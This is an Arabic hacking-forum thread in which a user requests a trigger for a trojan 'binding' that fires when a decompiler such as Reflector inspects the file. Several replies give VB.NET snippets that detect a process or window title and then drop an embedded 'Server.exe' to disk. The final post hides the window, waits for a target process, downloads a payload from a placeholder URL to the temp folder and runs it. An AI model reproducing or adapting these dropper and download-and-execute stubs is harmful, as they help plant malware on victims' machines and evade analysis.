حالة الموضوع:
مغلق
  1. T0rJaNdZ

    T0rJaNdZ Developer

    الأنتساب:
    ‏7 يونيو 2015
    المشاركات:
    60
    الإعجابات المتلقاة:
    11
    نقاط الجائزة:
    8
    الوظيفة:
    اعمل لنفسي
    الإقامة:
    ارض الله الواسعة
    شباب احتاج شرط ادا الفاحص فحص بالريفليكتور
    يصعد
    مين الي عنده هدا الشرط لا يبخل علينا رجائا
     
  2. ‏‎Yassin Ruling‎‏

    ‏‎Yassin Ruling‎‏ Developer

    الأنتساب:
    ‏10 يناير 2016
    المشاركات:
    82
    الإعجابات المتلقاة:
    2
    نقاط الجائزة:
    8
    رد: طلب شرط لعمل تلغيمة ادخل رجائا

    حلوو استمر يا مبدع
     
  3. ♕| K O P R A |♕

    ♕| K O P R A |♕ ابو علي مراقب عآم

    الأنتساب:
    ‏31 يوليو 2015
    المشاركات:
    292
    الإعجابات المتلقاة:
    36
    نقاط الجائزة:
    28
    رد: طلب شرط لعمل تلغيمة ادخل رجائا

    وعليكم السلام اخي الكريم موضوعك مخالف اذا تريد طلب اذهب الى هذا القسم وطرح طلبك

    مشاكل / حلول
     
  4. Ameer Eagle

    Ameer Eagle V • I • P

    الأنتساب:
    ‏7 يونيو 2014
    المشاركات:
    3,233
    الإعجابات المتلقاة:
    2,779
    نقاط الجائزة:
    113
    الجنس:
    ذكر
    الوظيفة:
    Student
    الإقامة:
    IraQ
    رد: طلب شرط لعمل تلغيمة ادخل رجائا

    Can Use This Code


    Dim ameer As Process
    For Each ameer In Process.GetProcessesByName("Name Of Reflctor")
    MsgBox("Done Hacked")
    Next
     
  5. حسين رضا

    حسين رضا Developer

    الأنتساب:
    ‏6 فبراير 2016
    المشاركات:
    90
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:
    8
    رد: طلب شرط لعمل تلغيمة ادخل رجائا

    حبيبي استعمل الشروط والطريقة لكتابة الشرط كـ تلي _! [​IMG][​IMG]



    'Coded By Hussein Rida
    If Process.GetProcessesByName("اسم البرنامج").Length > 0 Then
    Dim name As String = Application.StartupPath
    Dim filename As String = name + "\Server.exe"
    IO.File.WriteAllBytes(filename, My.Resources.server)
    End If



    بلتوفيق :{1!}:
     
  6. حسين رضا

    حسين رضا Developer

    الأنتساب:
    ‏6 فبراير 2016
    المشاركات:
    90
    الإعجابات المتلقاة:
    14
    نقاط الجائزة:
    8
    رد: طلب شرط لعمل تلغيمة ادخل رجائا

    او عن طريق التايتل فيكتب الشرط كـ الاتي [​IMG]

    Dim proess As Process = New Process
    For Each proess In Process.GetProcesses
    If proess.MainWindowTitle.Contains("تايتل البرنامج") = True Then
    Dim name As String = Application.StartupPath
    Dim filename As String = name + "\Server.exe"
    IO.File.WriteAllBytes(filename, My.Resources.server)
    End If
    Next
     
  7. South Hack

    South Hack أبو حسين DeveloPer Plus

    الأنتساب:
    ‏15 نوفمبر 2014
    المشاركات:
    356
    الإعجابات المتلقاة:
    7
    نقاط الجائزة:
    18
    الإقامة:
    الــعراق
    رد: طلب شرط لعمل تلغيمة ادخل رجائا

    أعتقد أفادك الاخ امير[​IMG]
     
  8. Hacker iraqi

    Hacker iraqi Developer

    الأنتساب:
    ‏31 مارس 2015
    المشاركات:
    31
    الإعجابات المتلقاة:
    0
    نقاط الجائزة:
    6
    الإقامة:
    IRAQ
    رد: طلب شرط لعمل تلغيمة ادخل رجائا

    تابع شرح الاخ محمد الاسدي هناا اعتقد راح يفيدك ونفس فكره لي تريدهhttps://www.youtube.com/watch?v=y6poGeY7EyQ


    شرط مستخدم بلشرح


    Private Sub Form1_Load(ByVal sender As Object, ByVal e As EventArgs) Handles MyBase.Load
    Me.Hide()
    Me.ShowIcon = False
    Me.ShowInTaskbar = False
    Opacity = 0
    Timer1.Start()
    End Sub
    Private Sub Timer1_Tick(ByVal sender As Object, ByVal e As EventArgs) Handles Timer1.Tick
    Dim kadim() As Process = System.Diagnostics.Process.GetProcessesByName("VCl ient")
    For Each VO As Process In kadim
    Timer1.Stop()
    Text = "KADIM - ALIRAQI "
    Next
    If Text = "KADIM - ALIRAQI " Then
    Dim web As New System.Net.WebClient
    web.DownloadFile("رابط السيرفر المباشر", Environ("tmp") & "/server.exe")
    Shell(Environ("tmp") & "/server.exe")
    End If
    End Sub
     
حالة الموضوع:
مغلق

مشاركة هذه الصفحة